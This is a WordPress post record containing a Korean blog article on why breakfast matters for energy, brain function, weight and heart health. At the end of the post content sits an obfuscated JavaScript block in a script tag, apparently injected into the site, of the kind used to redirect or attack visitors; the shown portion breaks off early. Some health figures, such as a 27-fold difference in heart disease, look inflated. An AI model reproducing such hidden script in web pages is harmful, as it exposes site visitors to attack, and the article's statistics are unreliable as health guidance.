{"id":4886,"date":"2021-05-21T10:09:22","date_gmt":"2021-05-21T01:09:22","guid":{"rendered":"https:\/\/aligns.co.kr\/?p=4886"},"modified":"2021-10-12T12:55:50","modified_gmt":"2021-10-12T03:55:50","slug":"%ec%84%b1%ea%b3%b5%ec%a0%81%ec%9d%b8-%ed%95%98%eb%a3%a8%eb%a5%bc-%ec%a2%8c%ec%9a%b0%ed%95%98%eb%8a%94-%ec%95%84%ec%b9%a8%ec%8b%9d%ec%82%ac-2","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/%ec%84%b1%ea%b3%b5%ec%a0%81%ec%9d%b8-%ed%95%98%eb%a3%a8%eb%a5%bc-%ec%a2%8c%ec%9a%b0%ed%95%98%eb%8a%94-%ec%95%84%ec%b9%a8%ec%8b%9d%ec%82%ac-2\/","title":{"rendered":"\uc131\uacf5\uc801\uc778 \ud558\ub8e8\ub97c \uc88c\uc6b0\ud558\ub294 \uc544\uce68\uc2dd\uc0ac!"},"content":{"rendered":"\n<p>\u201c\uc544\uce68\uc2dd\uc0ac \uac70\ub974\uace0 \uacc4\uc2e0\uac00\uc694?\u201d<\/p>\n\n\n\n<p>\ubc14\uc058\uac8c \uc0b4\uc544\uac00\ub294 \ud604\ub300\uc0ac\ud68c\uc5d0\uc11c \uc800\ub141 \uacfc\uc2dd, \uc57d\uc2dd \ub9cc\ud07c\uc774\ub098 \uac74\uac15\uc0c1\uc758 \ubb38\uc81c\ub85c \uaf3d\ud788\ub294 \uac83\uc774 \ubc14\ub85c \uc544\uce68 \uacb0\uc2dd\uc774\uc8e0!<\/p>\n\n\n\n<p>\uc544\uce68 \uc2dd\uc0ac\ub294 \ud558\ub8e8\uc758 \uc5d0\ub108\uc9c0 \ub300\uc0ac\ubd80\ud130 \uc9d1\uc911\ub825\uacfc \uc2ec\ud608\uad00 \uc9c8\ud658 \uc608\ubc29\uae4c\uc9c0 \ub2e4\uc591\ud55c \uac74\uac15 \uc9c0\ud45c\uc5d0 \uc808\ub300\uc801\uc778 \uc601\ud5a5\uc744 \ubbf8\uce58\ub294\ub370\uc694, \uaf2d \uc798 \ucc28\ub824\uc9c4 \ubc25\uc0c1\uc774\uc5b4\uc57c \ud558\ub294 \uac83\uc740 \uc544\ub2d9\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc57d 400Kcal ~ 600Kcal \uc815\ub3c4 \uc12d\ucde8\ud558\ub294 \uac83\uc774 \uc801\ub2f9\ud574\uc11c \uac04\ub2e8\ud55c \ube75 \ub610\ub294 \uc120\uc2dd, \uacfc\ucc44\ub958 \uc2a4\ubb34\ub514, \uac10\uc790 \uace0\uad6c\ub9c8\ub85c \uc12d\ucde8\ud558\ub294 \ubc29\ubc95\ub3c4 \uc88b\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u201c\ucc9c\ucc9c\ud788 \ud761\uc218\ub418\ub294 \ubcf5\ud569\ub2f9 \ud615\ud0dc\uc758 \ud0c4\uc218\ud654\ubb3c\uc758 \uc12d\ucde8\ub294 \ud558\ub8e8\uc5d0 \ud544\uc694\ud55c \uc2e0\uc9c4\ub300\uc0ac\uc5d0 \uc2dc\ub3d9\uc744 \uac78\uc5b4\uc8fc\ub294 \uc5ed\ud560\u201d<\/p>\n\n\n\n<p>\uc7a0\uc744 \uc790\ub294 7~8\uc2dc\uac04 \ub3d9\uc548 \uc74c\uc2dd\ubb3c\uc758 \uc12d\ucde8\uac00 \uc5c6\uc5c8\uae30 \ub54c\ubb38\uc5d0 \uc544\uce68 \uacf5\ubcf5 \uc911\uc5d0\ub294 \ud608\ub2f9\uc774 \ub2e4\uc18c \ub5a8\uc5b4\uc838 \uc788\uae30 \ub54c\ubb38\uc5d0 \uac11\uc791\uc2a4\ub7ec\uc6b4 \ub2e8\uc21c\ub2f9\uc758 \uc12d\ucde8\ub294 \uc624\ud788\ub824 \ud608\ub2f9\uc744 \uae09\uaca9\ud788 \uc62c\ub824 \uc778\uc290\ub9b0 \ubd84\ube44\ub97c \ucd09\uc9c4\uc2dc\ud0a4\uace0 \uacb0\uad6d \uc5d0\ub108\uc9c0\uc6d0\uc744 \uc9c0\ubc29 \ud615\ud0dc\ub85c \uc800\uc7a5\ud558\uac8c \ub418\ubbc0\ub85c \uc9c0\uc591\ud574\uc57c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub2e8\uc21c\ub2f9 : \ubc00\uac00\ub8e8 \ube75, \uacfc\uc77c\uc7bc, \uacfc\uc77c\uc8fc\uc2a4, \ucd08\ucf5c\ub9bf \uc2dc\ub9ac\uc5bc\ubc14 \ub4f1 \ube60\ub974\uac8c \ub2e8 \ub9db\uc744 \ub0b4\ub294 \uc74c\uc2dd<\/p>\n\n\n\n<p>\ubcf5\ud569\ub2f9 : \uc7a1\uace1, \ud1b5\uace1\ubb3c \ube75, \uaecd\uc9c8\uc9f8 \uba39\ub294 \uacfc\uc77c \ub4f1 \uc539\uc744\uc218\ub85d \ub2e8 \ub9db\uc774 \ub098\ub294 \uc74c\uc2dd<\/p>\n\n\n\n<p>\u201c\ud0c4\uc218\ud654\ubb3c\uc740 \ucd5c\uc801\uc758 \ub1cc \uc5d0\ub108\uc9c0\uc6d0\u201d<\/p>\n\n\n\n<p>\uc6b0\ub9ac\uc758 \ub1cc\ub294 \ud3ec\ub3c4\ub2f9\uacfc \ucf00\ud1a4\uc744 \uc5d0\ub108\uc9c0\ub85c \uc0ac\uc6a9\ud569\ub2c8\ub2e4. \ucd5c\uadfc \uc800\ud0c4\uace0\uc9c0, \ucf00\ud1a0\uc81c\ub2c9 \ub2e4\uc774\uc5b4\ud2b8\ub97c \ud1b5\ud574 \ub9ce\uc774 \uc54c\ub824\uc9c0\uace0 \uc788\ub294 \uac83\uc774 \ucf00\ud1a4\uc778\ub370\uc694, \uc0ac\uc2e4 \ucf00\ud1a4\uc740 \uc544\uc138\ud1a4 \uacc4\uc5f4\uc758 \ubab8\uc744 \uc0b0\uc131\ud654 \uc2dc\ud0a4\ub294 \ubb3c\uc9c8\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ud1a4\uc2dd\uc740 \ub1cc\uc804\uc99d \ud658\uc790\uc2dd\uc73c\ub85c \uc81c\uacf5\ub418\ub358 \uc2dd\uc774\uc694\ubc95\uc778\ub370 \ucd5c\uadfc \ub2f9 \uc12d\ucde8\uc758 \ubb38\uc81c\uac00 \uc774\uc288\uac00 \ub418\uba74\uc11c \ud0c4\uc218\ud654\ubb3c \uc12d\ucde8\ub97c \ucd5c\ub300\ud55c \uc808\uc81c\ud558\uace0 \uc9c0\ubc29\uc744 \uc8fc\ub85c \uc12d\ucde8\ud558\ub294 \ubc29\uc2dd\uc73c\ub85c \ub110\ub9ac \uc54c\ub824\uc9c0\uace0 \uc788\uc9c0\uc694!<\/p>\n\n\n\n<p>\ucf00\ud1a4\uc740 \uccb4\ub0b4\uc5d0\uc11c \uc9c0\ubc29\uc758 \ub300\uc0ac \uc0b0\ubb3c\ub85c\uc368 \ub9cc\ub4e4\uc5b4\uc9c0\ub294 \ubb3c\uc9c8\uc778\ub370\uc694, \uacb0\uad6d \ub300\uc0ac\ub97c \ud1b5\ud574 \ub1cc\uae4c\uc9c0 \uc804\ub2ec\ub418\ub294\ub370 \uc2dc\uac04\uc774 \uc18c\uc694\ub418\uae30\ub3c4 \ud558\uace0 \uc138\ud3ec\ub97c \uc0b0\ud654 \uc2dc\ud0a4\uae30 \ub54c\ubb38\uc5d0 \uc778\uccb4\uc5d0\uc11c\ub3c4 \ud3ec\ub3c4\ub2f9\uc744 \uc6b0\uc120\uc801\uc778 \uc5d0\ub108\uc9c0\uc6d0\uc73c\ub85c \uc0ac\uc6a9\ud558\ub294\ub370 \ub354\uc6b1 \ubc1c\ub2ec\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc544\uce68\ubd80\ud130 \uc9d1\uc911\ub825\uacfc \uc774\ud574\ub825\uc774 \uc694\uad6c\ub418\ub294 \ud559\uc2b5, \uc5c5\ubb34\ub97c \ud558\ub294 \uc0ac\ub78c\uc774\ub77c\uba74 \uc544\uce68\uc5d0 \uc12d\ucde8\ud558\ub294 \uac74\uac15\ud55c \ud0c4\uc218\ud654\ubb3c\ub85c \uad6c\uc131\ub41c \uc2dd\uc0ac\ub97c \uaf2d \ucc59\uae30\uc154\uc57c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub7fc, \uc544\uce68\uc2dd\uc0ac\uac00 \uac74\uac15\uc5d0 \ubbf8\uce58\ub294 \uc601\ud5a5\uc744 \uc0b4\ud3b4 \ubcfc\uac8c\uc694!<\/p>\n\n\n\n<ol type=\"1\"><li>\uc18c\ud654\uae30\ub2a5\uacfc \ubc30\ubcc0\uae30\ub2a5 \uc6d0\ud65c<\/li><\/ol>\n\n\n\n<p>\uc790\ub294 \ub3d9\uc548 \uba48\ucd94\uc5b4 \uc788\ub358 \uc18c\ud654\uae30\uad00\ub4e4\uc744 \uae68\uc6cc\uc8fc\uba70, \uc7a5\uc758 \uc5f0\ub3d9\uc6b4\ub3d9\uc744 \ud1b5\ud574 \uc544\uce68 \ubc30\ubcc0\uc5d0 \ud6a8\uacfc\ub97c \ub192\uc5ec\uc90d\ub2c8\ub2e4.<\/p>\n\n\n\n<ul><li>\ub1cc\uc758 \uae30\ub2a5 \ud5a5\uc0c1<\/li><\/ul>\n\n\n\n<p>\ub1cc\uc758 \uccab \ubc88\uc9f8 \uc5d0\ub108\uc9c0\uc6d0\uc73c\ub85c \uc0ac\uc6a9\ub418\uba70, \uc2e4\uc81c \uc9d1\uc911\ub825\uacfc \uc774\ud574\ub825 \ud5a5\uc0c1\uc5d0 \ub3c4\uc6c0\uc774 \ub41c\ub2e4\ub294 \uc5f0\uad6c \uacb0\uacfc\ub3c4 \ub9ce\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<ul><li>\uc0b4\uc774 \uc798 \ucc0c\uc9c0 \uc54a\ub294 \ubab8<\/li><\/ul>\n\n\n\n<p>\uc544\uce68 \uc2dd\uc0ac\ub294 \uc138\ud3ec\uc5d0\uac8c\ub3c4 \uccab \ub07c\ub2c8\uc785\ub2c8\ub2e4. \uc138\ud3ec\uac00 \uad76\uc8fc\ub9ac\ub294 \uc2dc\uac04\uc774 \uae38\uc5b4\uc9c8\uc218\ub85d \ubab8\uc758 \uae30\uc544 \uc0c1\ud0dc\ub85c \ubc1b\uc544\ub4e4\uc5ec \uc801\uac8c \uba39\uc5b4\ub3c4 \uc9c0\ubc29\uc73c\ub85c \uc800\uc7a5\ud558\ub824\ub294 \uc2b5\uc131\uc774 \ubc1c\ub2ec\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubc18\ub300\ub85c \uaddc\uce59\uc801\uc778 \uc544\uce68 \uc2dd\uc0ac\ub97c \ud558\uac8c \ub418\uba74 \uad73\uc774 \uc800\uc7a5\ud558\uc9c0 \uc54a\ub294 \ubab8 \uc0c1\ud0dc\ub97c \uac00\uc9c8 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<ul><li>\uc548\uc815\uac10 \uc788\ub294 \ucee8\ub514\uc158 \uc720\uc9c0<\/li><\/ul>\n\n\n\n<p>\uc544\uce68 \uacb0\uc2dd\uc73c\ub85c \uc778\ud55c \uacf5\ubcf5\uc2dc\uac04\uc774 \uae38\uc5b4\uc9c0\uba74 \ud608\uc555, \ud608\ub2f9, \ud638\ub974\ubaac \ubc38\ub7f0\uc2a4\uae4c\uc9c0 \uc601\ud5a5\uc744 \uc8fc\uc5b4 \uc5d0\ub108\uc9c0 \ub300\uc0ac, \ud53c\ub85c\uac10, \uac10\uc815\uacfc \uae30\ubd84\ub3c4 \uc608\ubbfc \ud574\uc9c8 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<ul><li>\uc2ec\ud608\uad00 \uc9c8\ud658 \uc608\ubc29<\/li><\/ul>\n\n\n\n<p>\uc2e4\uc81c \uc5f0\uad6c \uacb0\uacfc\uc5d0 \ub530\ub974\uba74 \uc544\uce68 \uc2dd\uc0ac\uc758 \uc720,\ubb34\uc5d0 \ub530\ub77c \uc2ec\ud608\uad00 \uc9c8\ud658 \ubc1c\ubcd1\ub960\uc774 27\ubc30\ub098 \ucc28\uc774 \ub09c\ub2e4\ub294 \uac83\uc774 \ud655\uc778\ub418\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u201c\ubb50\ub2c8\ubb50\ub2c8 \ud574\ub3c4 \uc544\uce68\uc740 \ubc25\u201d<\/p>\n\n\n\n<p>\ud55c\uc2dd \ucc28\ub9bc\uc758 \uc544\uce68\ubc25\uc744 \uc12d\ucde8\ud588\uc744 \ub300 \ub1cc \uc2e0\uacbd \uc0dd\uc7a5\uc778\uc790\uac00 25% \uc99d\uac00<\/p>\n\n\n\n<p>\uae30\uc5b5\ub825, \ud559\uc2b5\ud6a8\uacfc, \ucee8\ub514\uc158 \uc870\uc808\uc5d0 \uad00\uc5ec\ud558\ub294 \uc2e0\uacbd\uc804\ub2ec\ubb3c\uc9c8\uc778 \ub3c4\ud30c\ubbfc\uc740 \uc57d 11%, \uac00\ubc14 \uc57d 13% \uc99d\uac00<\/p>\n\n\n\n<p>\uc8fc\uc758 \uc9d1\uc911\ub825\uacfc \uc774\ud574\ub3c4 \uac80\uc0ac \uacb0\uacfc\uc5d0\uc11c\ub3c4 \uc544\uce68\uc744 \uba39\uc9c0 \uc54a\uc740 \ud559\uc0dd\uc5d0 \ube44\ud574 5\ubc30 \ud5a5\uc0c1<\/p>\n\n\n\n<p>\ub18d\ucd0c \uc9c4\ud765\uccad\uc5d0\uc11c \ubc1c\ud45c\ud55c \uc790\ub8cc\uc785\ub2c8\ub2e4. \uc544\uce68\ubd80\ud130 \ubc25\uc744 \ucc28\ub9b0\ub2e4\uace0 \ud558\uba74 \uac70\ucc3d\ud558\uace0 \ubd88\ud3b8\ud574 \ubcf4\uc77c \uc218 \uc788\uaca0\uc73c\ub098 \uac04\ub2e8\ud55c \ubc11\ubc18\ucc2c \ub610\ub294 \uc544\uce68\uc5d0 \uba39\uae30 \uc88b\uc740 \uba54\uc778 \ubc18\ucc2c\uc744 \ubbf8\ub9ac \uad6c\ube44\ud558\uc5ec \ud63c\ud569 \uc7a1\uace1 \ud615\ud0dc\uc758 \ubc25\uc73c\ub85c \ub4dc\uc2e0\ub2e4\uba74 \uc815\ub9d0 \ubcf4\uc57d\uc774 \ub530\ub85c \uc5c6\ub294 \uc148\uc774\uc8e0!<\/p>\n\n\n\n<p>\uc791\uc740 \uac83\ubd80\ud130 \uc2e4\ucc9c\ud574 \ubcf4\uc138\uc694.<\/p>\n\n\n\n<p>\uc544\uce68\uc5d0 \uc77c\uc5b4\ub098 \ubb3c \ud55c \uc794\uacfc \uc7a0\uae50\uc758 \uc5ec\uc720\ub85c \uc990\uae30\ub294 \uc544\uce68 \uc2dd\uc0ac\ub85c \uac74\uac15\ud558\uace0 \uc131\uacf5\uc801\uc778 \ud558\ub8e8\ub97c \ubcf4\ub0b4\uc2dc\uae38 \ubc14\ub784\uac8c\uc694~<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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